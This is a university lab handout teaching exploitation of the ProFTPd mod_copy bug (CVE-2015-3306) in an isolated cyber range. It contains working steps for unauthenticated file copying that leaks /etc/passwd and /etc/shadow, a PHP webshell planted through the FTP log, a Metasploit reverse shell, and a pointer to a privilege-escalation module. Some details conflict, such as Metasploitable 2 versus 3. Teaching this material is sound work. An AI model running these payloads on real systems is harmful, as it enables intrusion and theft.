DS 6042 · Lab 01 · 2026

Your first exploit

Form a team. Connect to the cyber range. Get your first foothold on a remote machine — without writing any code.

The goal of DS 6042 is to teach the tools, techniques, and mental models you need to build and deploy secure data pipelines and AI systems. The course starts on the attacker's side, though: before you can reason about defending a system, you should know what it feels like to break one — which tools attackers reach for, which assumptions they exploit, and the mental model behind a real intrusion. Lab 0 is your first hour in that seat.

In April 2015 a security researcher noticed that ProFTPd's optional mod_copy module accepted the SITE CPFR and SITE CPTO commands without checking whether the FTP client had logged in. Anyone who could open a TCP connection to port 21 could read or write any file the ProFTPd daemon could reach. That includes /etc/passwd, the web root, and any place else the daemon's process had filesystem access. The bug got the identifier CVE-2015-3306 and a Metasploit module within days; eleven years later it still lives inside Metasploitable 3, the deliberately-vulnerable Linux VM the security community uses for teaching. You will fire it three different ways today.

CVE-2015-3306 · original disclosure on Openwall · Metasploit module: proftpd_modcopy_exec.rb · target: Metasploitable 3 (Ubuntu Linux variant).
important · inline questions throughout this lab

Every major section ends with a short "Try it" block. The shape of those questions is the same shape that appears on the midterm and final exam — attempt each one yourself before clicking "Show answer." They're the most efficient exam prep this lab offers; don't skim past them.

A few words above will be unfamiliar — ProFTPd, mod_copy, TCP port, /etc/passwd, banner, enumeration. You don't have to know them yet. Every term underlined like this on this page is hoverable: an explainer opens directly below the line you're reading, pushing the rest of the page down — nothing gets covered.

Demo · the attack you're about to run

The widget below is a simulation of the full exploit chain — every keystroke, every server response, every byte of file content. By the end of §6 you'll have done all of this for real against the Metasploitable 3 VM in the cyber range. Use the demo now to see where we're headed; come back to it later if you get stuck.

Try it · two terminals, one file disclosure
Two attacker terminals, one target at 10.0.0.6. Use Terminal A to open the FTP control channel — nc 10.0.0.6 21 — then send SITE CPFR /etc/passwd and SITE CPTO /var/www/html/leak. No USER or PASS needed. Then use Terminal B to fetch the copied file over HTTP: curl http://10.0.0.6/leak. Or click ▶ Auto-play to watch the entire attack run itself.
Terminal A · attacker → proftpd (tcp/21)
kali@kali:~$ 
Terminal B · attacker → apache (tcp/80)
kali@kali:~$ 
Hint · type nc 10.0.0.6 21 in Terminal A.

Both terminals are simulated; nothing leaves your browser. The real exploit runs the same keystrokes against a real Metasploitable 3 VM inside the cyber range (Section 6 below).

An Overview of Tools and Targets

Authorized use - Read this carefully.

Everything you are about to do is illegal outside an authorized environment. The Virginia Cyber Range is authorized — it is a private, isolated cloud network provisioned specifically for educational use, with no path to the public internet. You may not run these tools against your laptop's wifi, your dorm network, your employer's network, AWS instances you happen to own, friends' machines, or anything else not assigned to this course. Port scanning alone can be a felony under the Computer Fraud and Abuse Act (18 U.S.C. § 1030). Stay in the sandbox.

1 · Form your team ~15 min

Teams of 2 or 3 students. Labs 1 through 20 are built around team collaboration — you will pair-program, hand work off mid-lab, and present together at module reviews.

team contract · one page, ten minutes

Write a one-page contract covering: (1) names + the contact channel you actually check, (2) meeting cadence outside class, (3) decision rule for disagreements, (4) workload split per lab, (5) escalation path if a teammate disappears.

Pick a short lowercase team handle — one word, no spaces (e.g. mockingbird, redoubt, cardinal). You will use it as a filename prefix all semester.

Sample contract template: ↓ team-contract-template.docx

Submit on Gradescope (one per team): roster + handle + signed contract.

2 · Connect to the Virginia Cyber Range ~20 min

The Virginia Cyber Range (VCR) is a cloud-hosted cyber range. Every lab that involves attacking or defending a live system happens inside it. Each team gets a personal isolated network containing a Kali Linux VM (attacker) and a Metasploitable 2 VM (target).

  1. Accept the enrollment invite. Click the button below, sign in with your Google account, and accept the course. Click the invitation code ↗
  2. Launch the exercise. Click Launch Exercise. Provisioning takes ~60 seconds. Two VMs spin up: kali (attacker, what you'll use) and metasploitable (target, what you'll exploit).
  3. Connect to Kali. The cyber range opens a full Linux desktop in your browser via Apache Guacamole — no SSH client needed. Default login is kali/kali (a public default that is only acceptable inside an isolated cyber range — never assume defaults are safe in production).
  4. Open a Terminal Emulator on Kali. You'll do everything from here on in this terminal — run the four commands below, in order.
Copy / paste into the cyber range. The Guacamole browser desktop doesn't share your local clipboard directly. To paste a command from this page into Kali, open the Guacamole side panel — press Ctrl + Alt + Shift (or Ctrl + Option + Shift on macOS) — paste into its clipboard box, then paste again inside the terminal. The same shortcut closes the panel.
Kali Linux desktop with the Applications menu and a terminal icon visible in the top-left panel
A Kali Linux desktop. Fastest path to a terminal: the >_ icon in the top panel (third from the left). The Applications menu (top-left) also lists Terminal Emulator under System Tools. The cyber range ships a current XFCE-based Kali whose menu lives behind a small dragon icon in the same top-left position — the click target is what matters, not the styling. Image: Wikimedia Commons (GPL).

2a · Find your own IP. ip a dumps every network interface on the box. The one that matters is eth0 — your connection to the cyber range's private subnet.

$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 02:42:0a:00:00:05 brd ff:ff:ff:ff:ff:ff
    inet 10.0.0.5/24 brd 10.0.0.255 scope global eth0
       valid_lft forever preferred_lft forever

The highlighted line tells you two things: your IP is 10.0.0.5, and the /24 says you share a subnet with every IP from 10.0.0.0 to 10.0.0.255. (Your actual address will differ — note yours.)

2b · Find the target with a ping sweep. Ask Nmap to send one ICMP probe to every address on the subnet. -sn means "ping scan only, no port scan" — fast host discovery.

$ sudo nmap -sn 10.0.0.0/24
Starting Nmap 7.94 ( https://nmap.org ) at 2026-09-04 14:20 UTC
Nmap scan report for 10.0.0.1
Host is up (0.00012s latency).
Nmap scan report for 10.0.0.5
Host is up.
Nmap scan report for 10.0.0.6
Host is up (0.00033s latency).
Nmap done: 256 IP addresses (3 hosts up, 0.762 seconds elapsed)

Three live hosts: .1 (the cyber-range gateway), .5 (you, from the previous step), and .6 — the one that isn't either of those. That's your target.

2c · Save the target IP into a shell variable. Every command in the rest of this lab uses $TARGET instead of hard-coding the address. That way you can copy-paste examples without editing them — and so can your teammate. In the cyber range the target VM answers to the hostname target.example.com, so rather than copy the IP by hand you can resolve it straight out of a single ping:

$ export TARGET=$(ping -c 1 target.example.com | grep -oE '[0-9]+(\.[0-9]+){3}' | head -1)
$ echo $TARGET
10.0.0.6

The ping output starts PING target.example.com (10.0.0.6) ...; the grep/head pulls the first IPv4 address out of that line and export stores it. export places the variable into the shell's environment so child processes (like nc, nmap, and msfconsole) inherit it. If echo $TARGET prints your target IP back, you're good — write it in your shared team notes so your teammate has it too. If it prints nothing, the name didn't resolve; fall back to the ping sweep above and export TARGET=<the .6 address> directly.

Try it · subnet math

Your Kali instance is on 10.0.0.5/24. How many addresses does that subnet contain? Two of those addresses are conventionally reserved for non-host use — which two, and what are they used for?

Show answer
The /24 means the first 24 of 32 IP bits are fixed; the remaining 8 are free. That's 28 = 256 addresses, 10.0.0.0 through 10.0.0.255. Two are reserved: 10.0.0.0 is the network address (refers to the subnet itself; never assigned to a host), and 10.0.0.255 is the broadcast address (a packet to this address is delivered to every host on the subnet). The remaining 254 are assignable to actual hosts — yours is .5, the gateway is .1, the target is .6.

2d · Confirm the target is reachable. Send one ping packet and watch for a reply. If you don't get one, the target VM hasn't finished booting — wait 30 seconds and try again.

$ ping -c 1 $TARGET
PING 10.0.0.6 (10.0.0.6) 56(84) bytes of data.
64 bytes from 10.0.0.6: icmp_seq=1 ttl=64 time=0.412 ms

--- 10.0.0.6 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.412/0.412/0.412/0.412 ms

1 received, 0% packet loss — the target is up and reachable. You're ready for section 3.

deliverable · part 2

Both teammates can independently log into VCR and ping the target from their Kali instance. Take a screenshot of ping $TARGET succeeding.

3 · Reconnaissance — identify the service ~30 min

You have a target IP. You don't yet know what's running on it. Real enumeration follows a fixed pattern: scan ports → identify services → identify versions → look up vulnerabilities for those versions. Today we do all four.

Think · Pair · Share · what the scan will reveal
I've done the Think step — reveal Pair & Share
  • Pair · 3 minCompare guesses with your neighbour. Did one of you expect a locked-down box (2–3 ports) and the other a buffet? Who named port 21/FTP as the target, and what tipped you off — the lab title, or the CVE in the overview?
  • Share · 2 minAs a table, commit to one number for "how many open ports" and one port number for "today's target." Then check both against the real scan output below — and notice how many other exploitable services you're choosing to walk past.

3.1 Find open ports

sudo nmap -p- $TARGET

-p- scans all 65,535 TCP ports (the default is the top 1,000 — fast, but the real world doesn't always cooperate). The full scan takes ~1–2 minutes against Metasploitable, which deliberately runs many vulnerable services. Your output will look something like this (truncated):

$ sudo nmap -p- 10.0.0.6
PORT     STATE SERVICE
21/tcp   open  ftp           # <- the one we exploit today
22/tcp   open  ssh
23/tcp   open  telnet
25/tcp   open  smtp
53/tcp   open  domain
80/tcp   open  http
111/tcp  open  rpcbind
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
512/tcp  open  exec
513/tcp  open  login
514/tcp  open  shell
1099/tcp open  rmiregistry
1524/tcp open  ingreslock
2049/tcp open  nfs
2121/tcp open  ccproxy-ftp
3306/tcp open  mysql
3632/tcp open  distccd
5432/tcp open  postgresql
5900/tcp open  vnc
6000/tcp open  X11
6667/tcp open  irc
8009/tcp open  ajp13
8180/tcp open  unknown
# ... ~25 services in total

The whole point of Metasploitable is that it deliberately exposes a buffet of vulnerable services — FTP, Telnet, NetBIOS, MySQL, PostgreSQL, IRC, distcc, and more — each with at least one known exploit. Today we only attack 21 (ftp). The other twenty-plus services on this same VM are real attack surfaces; in Lab 10 you will let an agent enumerate and exploit several of them in one engagement.

3.2 Identify the service version

sudo nmap -sV -p 21 $TARGET

-sV is service-version detection: Nmap connects to each port, reads the banner that the service sends back, and matches it against its fingerprint database. You should see this:

expected nmap output
$ sudo nmap -sV -p 21 $TARGET
Starting Nmap 7.94 ( https://nmap.org ) at 2026-09-04 14:21 UTC
Nmap scan report for 10.0.0.6
Host is up (0.00033s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     ProFTPD 1.3.5

Service detection performed. Please report any incorrect results.
Nmap done: 1 IP address (1 host up) scanned in 6.31 seconds

The version string ProFTPD 1.3.5 is the smoking gun. That release shipped with the mod_copy module enabled and an authentication-bypass bug — which is why we picked it for the first lab.

3.3 Confirm the banner with your own eyes

You don't have to trust Nmap. Connect to the FTP service with nc (netcat, the swiss-army-knife TCP client):

nc $TARGET 21
# 220 ProFTPD 1.3.5 Server (Debian) [::ffff:10.0.0.6]   ← server greeting
QUIT
# 221 Goodbye.

220 is the FTP "service ready" reply code. The string after it is exactly what nmap -sV was reading. Notice the version is in the banner by default — ProFTPd does not hide it. The first hardening move at any real deployment is to set ServerIdent to something less informative; here in the lab the banner is what hands us the CVE.

4 · FTP in 60 seconds

FTP (File Transfer Protocol) is a plaintext, line-oriented protocol from 1971. The client sends ASCII commands one per line; the server replies with a three-digit code plus a human-readable message.

Think · Pair · Share · where the login lives
I've done the Think step — reveal Pair & Share
  • Pair · 4 minCompare your line orderings. Did you both put the "now you're trusted" moment at the 230 User logged in reply? If a server let you run a file-copy command before that line, what word describes the bug?
  • Share · 2 minAs a table, commit to one answer: at which response code does authentication complete in a healthy session? Then watch the table below — and note that the attack you're building never reaches that line at all, which is exactly the point of the mod_copy bug.
a normal FTP login · client ↔ server
Each row is one line on the wire. Three-digit codes are responses; everything else is commands. 1xx = positive preliminary, 2xx = positive completion, 3xx = needs more input, 4xx/5xx = failure.
directionlinemeaning
← server220 ProFTPD 1.3.5 Server (Debian)service ready, banner
→ clientUSER alice"I want to log in as alice"
← server331 Password required for aliceusername known, need password
→ clientPASS hunter2password
← server230 User alice logged inauthenticated
→ clientQUITclose session
← server221 Goodbye.session closed

The attack happens before authentication. We never get to the 230 logged in line — instead we send SITE CPFR / SITE CPTO straight after the banner. The bug is that ProFTPd's mod_copy answers those commands without checking whether we've logged in first.

Try it · reading response codes

Suppose you sent USER alice and the server replied with 230 Login successful. instead of 331 Please specify the password.. What does that tell you about the server's configuration — and why might it matter to a security audit?

Show answer
The server accepted the login without a password. Two ways that can happen in real FTP servers: anonymous FTP is enabled (an anonymous or ftp account is mapped to a guest directory and accepts any password including none), or the account has no password set. Either is a significant audit finding. Anonymous FTP made sense in 1985 for sharing public files; in 2026 most production servers should require authentication, and a server that accepts unauthenticated logins is leaking either configuration (it's intentional and may be fine) or a credential-management failure (it's accidental and is not fine).

5 · The mod_copy bug

ProFTPd 1.3.5 ships an optional module called mod_copy that adds two non-standard FTP commands — SITE CPFR (copy-from) and SITE CPTO (copy-to) — so a logged-in user can duplicate files on the server without downloading and re-uploading them. Useful feature; uncontroversial. The bug is in where the authentication check sits.

Think · Pair · Share · find the missing line
I've done the Think step — reveal Pair & Share
  • Pair · 4 minCompare with your neighbour. Did you both land on "no check that the session is authenticated"? One of you probably named arbitrary file read; did the other get to arbitrary file write → code execution? Which primitive did each of you miss?
  • Share · 2 minAs a table, write the one line of C the handler should have had but didn't, and commit to which primitive is more dangerous and why. Then read the actual simplified mod_copy.c below to confirm the auth check really is absent.

The intended flow is: client logs in with USER/PASS, then issues SITE CPFR /path/from followed by SITE CPTO /path/to. The mod_copy handler reads the source path, opens the destination path, writes one to the other. Both files are accessed with the running daemon's permissions, not the logged-in user's. Stripped to its essence, the handler does this:

/* mod_copy.c — what the SITE CPFR / CPTO handler does, simplified */
MODRET copy_cpfr(cmd_rec *cmd) {
    /* ← no session_authenticated check here  */
    copy_source = pstrdup(cmd->pool, cmd->argv[2]);   /* remember source */
    return PR_HANDLED(cmd);
}

MODRET copy_cpto(cmd_rec *cmd) {
    /* ← no session_authenticated check here either  */
    return copy_paths(cmd->tmp_pool, copy_source, cmd->argv[2]);
}

Notice what's not in the handler: a call to session.auth_required. The handler runs whether or not the client has logged in. Once you reach copy_paths the daemon's file-IO routines do their job — they don't ask who's calling. Anyone who can open a TCP connection to port 21 can copy any file the ProFTPd process can read to any file the ProFTPd process can write. No USER, no PASS, no nothing.

That's a one-line bug with two giant consequences:

two attack primitives the bug hands you
  1. Arbitrary file read. Copy any readable file to a place an HTTP client can fetch (e.g. the web root /var/www/html/). Now you can curl the file off the server.
    Example: SITE CPFR /etc/passwdSITE CPTO /var/www/html/leakcurl http://target/leak.
  2. Arbitrary file write → code execution. Copy a file containing PHP code onto the web root. When you fetch that file over HTTP, Apache parses the PHP and runs it. Game over.
    Example (the Metasploit module does this): stuff a PHP one-liner into the FTP session log (just by sending a clever USER), then SITE CPFR /var/log/proftpd/proftpd.logSITE CPTO /var/www/html/x.php. Fetching x.php?cmd=id runs id as the web server.

The shell you get this way runs as www-data (Apache's user), not root. From www-data you can read /etc/passwd (world-readable anyway), explore the filesystem, run any commands the web user has permission for — but you cannot read /etc/shadow or open privileged ports. Getting from www-data to root is a separate step called privilege escalation, and is the focus of Lab 10. For today, "command execution on the box" is the prize.

historical context · why this lab used to be a backdoor

Before Metasploitable 3 shipped, Lab 0 attacked vsftpd 2.3.4 on Metasploitable 2 — a famous backdoor, not a bug. In July 2011 the official vsftpd download server was briefly compromised and the maintainer's release tarball was replaced with a tampered copy. Anyone who logged in with a username containing :) tripped a hidden code path that opened a root shell on TCP port 6200. The poisoned binary was caught within days, but it stayed in Metasploitable 2 forever as a teaching artifact. The contrast is worth holding in your head: vsftpd 2.3.4 was malicious code injected via the distribution channel (a supply-chain compromise); ProFTPd CVE-2015-3306 is honest code with a missing auth check (a coding bug). Both end with attacker code running on the target. Both are the same outcome from the defender's seat. CVE-2024-3094 (the XZ backdoor of 2024) is a modern echo of the first story; CVE-2015-3306 is the second.

Try it · trace the auth check that isn't there

Here's a Python sketch of what a correctly-implemented SITE CPFR handler should look like, side-by-side with what ProFTPd 1.3.5 actually shipped:

def cpfr_correct(session, path: str):
    """What it should do."""
    if not session.authenticated:
        return reply(530, "Please login with USER and PASS.")
    session.copy_source = path
    return reply(350, f"File or directory exists, ready for destination name")

def cpfr_proftpd_135(session, path: str):
    """What ProFTPd 1.3.5 actually did — CVE-2015-3306."""
    session.copy_source = path                           # ← no auth check
    return reply(350, f"File or directory exists, ready for destination name")

(a) Suppose an attacker opens a TCP connection to proftpd_135 and immediately, with no USER or PASS, sends SITE CPFR /etc/shadow. What does the server reply, and what is session.copy_source set to?

(b) The same attacker now sends SITE CPTO /var/www/html/x. Roughly what happens? What does the attacker then do from their browser to retrieve /etc/shadow?

(c) In the correct version, what reply would the attacker get to the very first command? Why is that one extra line of code (the if not session.authenticated guard) the entire difference between a hardened server and a CVE?

Show answer

(a) The server replies 350 File or directory exists, ready for destination name and stores /etc/shadow as the pending source path. No 530 "please log in" reply ever fires.

(b) The server's cpto handler — also un-guarded in 1.3.5 — calls copy_paths(/etc/shadow, /var/www/html/x). Because ProFTPd runs as root on most systems (it has to bind port 21), it can read /etc/shadow. Because Apache's web root is writable by the ProFTPd process, the copy succeeds. The attacker then runs curl http://target/x from their browser and reads the password hashes.

(c) The correct version replies 530 Please login with USER and PASS. and never touches copy_source. The whole CVE is the missing line. This is the single most common shape of authentication bugs in the wild: an early-return guard that was forgotten on a side-door command. OWASP A07:2021 (Identification and Authentication Failures) is exactly this class.

6 · Manual exploitation ~30 min

Now you do it for real. Open two terminal tabs on Kali and follow along. The first terminal does the bug-triggering FTP dance; the second one fetches the result over HTTP.

Think · Pair · Share · predict the server's replies
I've done the Think step — reveal Pair & Share
  • Pair · 3 minCompare predicted codes with your neighbour. Did either of you expect a 530 Please log in that never comes? What does it feel like to watch a server answer 250 Copy successful to an attacker who never authenticated?
  • Share · 2 minAs a table, commit to the two response codes you expect (one for CPFR, one for CPTO), then run the real exchange in Terminal A below and check them line for line.
what's about to happen on the wire
Two connections from Kali to the Metasploitable 3 host. The first one (port 21, FTP) issues SITE CPFR /etc/passwd + SITE CPTO /var/www/html/leak — the daemon copies the file into the web root with no auth check. The second one (port 80, HTTP) fetches the copied file with curl.

6.1 Terminal A · trigger the bug over FTP

nc $TARGET 21
# 220 ProFTPD 1.3.5 Server (Debian) [::ffff:10.0.0.6]
SITE CPFR /etc/passwd
# 350 File or directory exists, ready for destination name
SITE CPTO /var/www/html/leak
# 250 Copy successful

Read those three exchanges carefully. You never sent USER or PASS — yet the server happily accepted SITE CPFR, remembered /etc/passwd as the pending source, and then on SITE CPTO copied it into Apache's web root with the daemon's privileges. The 250 Copy successful reply is the server telling you the file is now sitting at /var/www/html/leak. The QUIT can wait; leave the session open in case you want to copy another file in a moment.

6.2 Terminal B · fetch the file over HTTP

curl http://target.example.com/leak
# root:x:0:0:root:/root:/bin/bash
# daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
# bin:x:2:2:bin:/bin:/usr/sbin/nologin
# ... (every user account on the target) ...
# vagrant:x:1000:1000::/home/vagrant:/bin/bash

You just read every account on the box without authenticating to anything. /etc/passwd is world-readable on Linux, so this particular file isn't a secret — but the mechanism is what matters: you can copy any file the daemon can read into a place you can fetch. Change the source path and you change what you read; change the destination path and you change where it goes. The bug is a universal file-read and (in the next subsection) a universal file-write.

6.3 Turn the bug into code execution

File read is a nice party trick; arbitrary code execution is the prize. The standard trick on this CVE is to plant a PHP one-liner where Apache will execute it. The most common channel is the ProFTPd auth log: anything you send as the USER argument gets written to /var/log/proftpd/proftpd.log. Send PHP code as the username, copy the log into the web root with a .php extension, then fetch it.

# --- Terminal A · plant the PHP, then copy the log into web root ---
nc $TARGET 21
# 220 ProFTPD 1.3.5 Server (Debian) ...
USER <?php system($_GET["c"]); ?>
# 331 Password required for <?php ...
# (no need to send PASS; the USER value is already in the log)
SITE CPFR /var/log/proftpd/proftpd.log
# 350 File or directory exists, ready for destination name
SITE CPTO /var/www/html/sh.php
# 250 Copy successful

# --- Terminal B · run commands through the webshell ---
curl 'http://$TARGET/sh.php?c=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
curl 'http://$TARGET/sh.php?c=hostname;%20uname%20-a'
# metasploitable3-ub1404
# Linux metasploitable3-ub1404 4.2.0-27-generic ...
curl 'http://$TARGET/sh.php?c=cat%20/etc/passwd'
# (same listing as before, but now via shell, not file read)

You are now www-data on the target — the user Apache runs as. You can execute arbitrary commands through the ?c=... URL parameter. You cannot read /etc/shadow (that requires root); you can read anything the web user can read, write anywhere the web user can write, and run any program on the box.

deliverable · part 6

Two screenshots: (a) Terminal A showing the 250 Copy successful reply from SITE CPTO; (b) Terminal B showing curl http://$TARGET/sh.php?c=id returning uid=33(www-data). One short paragraph in your team notes: in your own words, what one line of code in mod_copy.c — if it had been written — would have stopped this entire attack chain?

Try it · why two terminals?

The exploit needs two connections — one to port 21 (FTP) and another to port 80 (HTTP). What's the role of each? What would happen if you tried to do everything from a single nc session?

Show answer
The FTP session (port 21) is what arms the bug: it sends the SITE CPFR/CPTO commands that copy a file (or a poisoned log file) into the web root. The HTTP session (port 80) is what fetches that file from Apache — and, if the file is PHP, triggers code execution as www-data. Two protocols on two ports: the FTP daemon plants the file; the HTTP daemon executes it. A single nc session can only speak one protocol at a time. You could use nc for the HTTP fetch too instead of curl — manually typing GET /sh.php?c=id HTTP/1.0\r\n\r\n — but curl is one line shorter.
Try it · what does the daemon's user account let you read?

ProFTPd runs as root in the default Metasploitable 3 setup. When the SITE CPFR/CPTO copy actually happens, the file IO runs with the daemon's permissions — i.e., as root. So the FTP copy can read /etc/shadow. But when you then curl the file out of the web root, Apache is serving it as www-data. Does the file's content show up to you? Why or why not?

Show answer
Yes, it shows up. Here's why: the copy creates a new file at /var/www/html/leak with the daemon's identity, but the resulting file's permissions are typically world-readable (mode 644 by default, depending on the daemon's umask). Apache, running as www-data, can open and serve that file because everyone can read it — the contents of /etc/shadow have been "laundered" through the copy into a world-readable file. This is the core insight of confused-deputy attacks: a privileged process (ProFTPd as root) performs an operation on behalf of an unprivileged caller (you) and ends up handing you something you couldn't get directly. Try it in the cyber range: SITE CPFR /etc/shadow + SITE CPTO /var/www/html/shadow.txt + curl http://$TARGET/shadow.txt. If the daemon's umask leaves the new file world-readable, you'll see the hashes.

7 · The same attack, with Metasploit ~20 min

Now do it the "professional" way. The point of this section is to see that Metasploit is a wrapper around what you already did by hand — and to learn the workflow you will use for every exploit in the course.

Think · Pair · Share · what the framework hides
I've done the Think step — reveal Pair & Share
  • Pair · 5 minCompare your step-to-output mapping with your neighbour. Did you agree on which option name (RHOSTS? SITEPATH? TARGETURI?) is the web root you wrote by hand? What did one of you assume the framework automates that the other thought you'd still type?
  • Share · 2 minAs a table, commit to one mapping of "manual step → msfconsole line" for all three steps, then verify it against the real scripted run below and the hover explanations on each line.
msfconsole · the same exploit, scripted
Each step has a one-line purpose. Hover any line to see what it does.
$ msfconsole
       =[ metasploit v6.3.x-dev                          ]
+ -- --=[ 2300+ exploits - 1200+ auxiliary - 400+ post   ]

msf6 > search proftpd
   #  Name                                              Disclosure Date  Rank
   -  ----                                              ---------------  ----
   0  exploit/unix/ftp/proftpd_modcopy_exec             2015-04-22        great

msf6 > use exploit/unix/ftp/proftpd_modcopy_exec
[*] No payload configured, defaulting to cmd/unix/reverse_perl

msf6 exploit(...) > show options
   Name        Current Setting   Required  Description
   ----        ---------------   --------  -----------
   RHOSTS                        yes       The target host(s)
   RPORT       80                yes       HTTP port to fetch the payload
   RPORT_FTP   21                yes       The target FTP port
   SITEPATH    /var/www          yes       Absolute writable web root
   TARGETURI   /                 yes       Base URI from which SITEPATH is served
   TMPPATH     /tmp              yes       Absolute writable path for staging

msf6 exploit(...) > set RHOSTS 10.0.0.6
RHOSTS => 10.0.0.6

msf6 exploit(...) > set SITEPATH /var/www/html
SITEPATH => /var/www/html

msf6 exploit(...) > run
[*] 10.0.0.6:80 - 10.0.0.6:21 - Connecting to FTP server 10.0.0.6:21...
[*] 10.0.0.6:80 - 10.0.0.6:21 - Sending copy commands to FTP server
[+] 10.0.0.6:80 - Executing PHP payload /odXXXXXXX.php
[*] Sending stage (39927 bytes) to 10.0.0.6
[*] Command shell session 1 opened (10.0.0.5:4444 -> 10.0.0.6:51234)

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Hover any highlighted line for an explanation.
if you see session closed

If the shell drops (you typed exit, or the connection was interrupted) you'll land back at the msf6 prompt with the shell gone. List the sessions Metasploit is still tracking, then re-attach to the one you want:

msf6 exploit(...) > sessions     # list open sessions
msf6 exploit(...) > sessions 1   # re-select session 1

If sessions lists nothing, every shell is closed — just run the exploit again to open a fresh one.

That's it. The framework opened the FTP connection, planted PHP code in the daemon's log via the USER argument, ran SITE CPFR/CPTO to copy the log into the web root, and then fetched the planted file over HTTP — exactly the same chain you ran by hand in §6.3, wrapped in a session manager, a payload selector, and a logging system.

This is the pattern for the rest of the semester: read the protocol, do it by hand once to internalize the mechanics, then use the framework module after you understand what it is doing.

Try it · match the manual steps to msfconsole's output

Three things you did manually in §6.3: (a) opened a nc connection to port 21 and sent USER <?php ... ?> to plant code in the log; (b) sent SITE CPFR /var/log/proftpd/proftpd.log + SITE CPTO /var/www/html/sh.php to copy it into the web root; (c) opened a curl to http://$TARGET/sh.php?c=id to execute it. Which lines in the msfconsole output above correspond to each step?

Show answer
(a)[*] 10.0.0.6:80 - 10.0.0.6:21 - Connecting to FTP server 10.0.0.6:21... — Metasploit opened the FTP control connection (the planting of code in the log happens silently with a crafted USER on the next exchange, hidden inside the framework). (b)[*] 10.0.0.6:80 - 10.0.0.6:21 - Sending copy commands to FTP server — the two SITE commands that move the log file into Apache's web root. (c)[+] 10.0.0.6:80 - Executing PHP payload /odXXXXXXX.php + Command shell session 1 opened — Metasploit performs the HTTP fetch that triggers the payload, then attaches the resulting reverse shell to your terminal as a managed "session." Same three steps; you just typed five characters of slash-command instead of two terminals.
before you leave · terminate the cyber range

At the end of class, open the VCR exercise page and click Terminate. VCR meters per-VM-hour; an idle exercise consumes credits until it times out. Build this into your last 2 minutes every lab day.

8 · Reflection

Discuss with your teammates. Two short paragraphs, one per question:

reflection · pre-auth severity

You got code execution without ever logging in — no real username, no real password. Bugs like that are called pre-authentication vulnerabilities. Why are they more dangerous than bugs that only work after someone legitimately logs in?

reflection · the missing line

The whole CVE is a single missing check. Read the Python sketch in §5 again — the difference between cpfr_correct and cpfr_proftpd_135 is one if statement. Why do you think this kind of bug is so common across software, and what process changes might catch it before release? (Code review checklists? Authentication-required default decorators? Compiler-enforced caller assertions?) Pick one and argue for it in three sentences.

reflection · framework value

You could write a 20-line bash script that automates §6.1 through §6.3. What does Metasploit add on top of that script? Think about post-exploitation modules, payload selection, session handling, and what happens when you have ten targets instead of one.

Deliverables

partdeliverableformat
1 · teamroster + handle + signed contractPDF on Gradescope, one per team
2 · cyber rangescreenshot of ping $TARGET succeedingPNG/JPG embedded in PDF
3 · reconscreenshot of nmap -sV showing ProFTPD 1.3.5PNG/JPG embedded in PDF
6 · manual exploittwo screenshots: (a) Terminal A with 250 Copy successful reply; (b) Terminal B with curl ... ?c=id returning uid=33(www-data)PNG/JPG embedded in PDF
7 · metasploitscreenshot of the msfconsole session showing www-data shell after runPNG/JPG embedded in PDF
8 · reflectionthree short paragraphs, one per promptsame PDF, last page

Submit one PDF per team, named lab00-<handle>.pdf.

FAQ

The Try-it widget worked; do I still have to do it inside the cyber range?

Yes. The widget is a simulation — and it currently still walks the historical vsftpd 2.3.4 backdoor (see the heads-up callout under §Demo). The graded artifacts come from the real Kali ↔ Metasploitable 3 exchange in VCR running the ProFTPd mod_copy chain in §6.

A missing auth check seems trivial. Has anything that simple ever shipped in real software since 2015?

Constantly. The "side-door command handler that forgot to check authentication" is one of the most reliable shapes in the CVE database. Recent examples in the same family: Atlassian Confluence CVE-2023-22515 (a setup endpoint reachable post-install with no auth check), Fortinet FortiSIEM CVE-2024-0204 (admin-creation endpoint with bypass). Different products, different decades, same one-line bug.

And for the backdoor shape — has any malicious code in the distribution chain hit since the vsftpd story?

Yes. The XZ-Utils backdoor (CVE-2024-3094, 2024) was a far more sophisticated supply-chain compromise that nearly made it into stable Linux distributions before a Microsoft engineer noticed an unusual latency. At its core it was the same shape as the vsftpd 2.3.4 incident: hostile code added to a trusted upstream, triggered by a magic input, granting pre-auth remote access. The delivery got harder; the idea didn't. The historical-context callout in §5 walks the contrast in more detail.

Why netcat instead of an FTP client?

Because FTP clients normalize input. A real client would refuse to send USER <?php ... ?> verbatim, or would sanitize the angle brackets, or would never let you issue SITE CPFR before a successful USER/PASS. nc sends the bytes you typed. For exploitation work, you almost always want a raw TCP client — nc, ncat, socat, or your own Python socket script — not a protocol-aware client that "helps" you.

I want to see the actual Metasploit module source.

On Kali, cat /usr/share/metasploit-framework/modules/exploits/unix/ftp/proftpd_modcopy_exec.rb. It's about 120 lines of Ruby — read it line by line and compare to what you did by hand in §6.3.

I want a root shell, not just www-data. How?

Privilege escalation — a second exploit that turns a low-privilege shell into a higher-privilege one. Metasploitable 3 (Ubuntu 14.04 base) is vulnerable to several local privesc CVEs, most famously PwnKit (CVE-2021-4034) in pkexec. The Metasploit module is exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec. From your www-data shell, background the session (Ctrl+Z), use the privesc module, set SESSION to the backgrounded id, and run. Lab 10 (agentic pentesting) walks the full initial-access → privesc → post-exploit chain with an agent doing each step.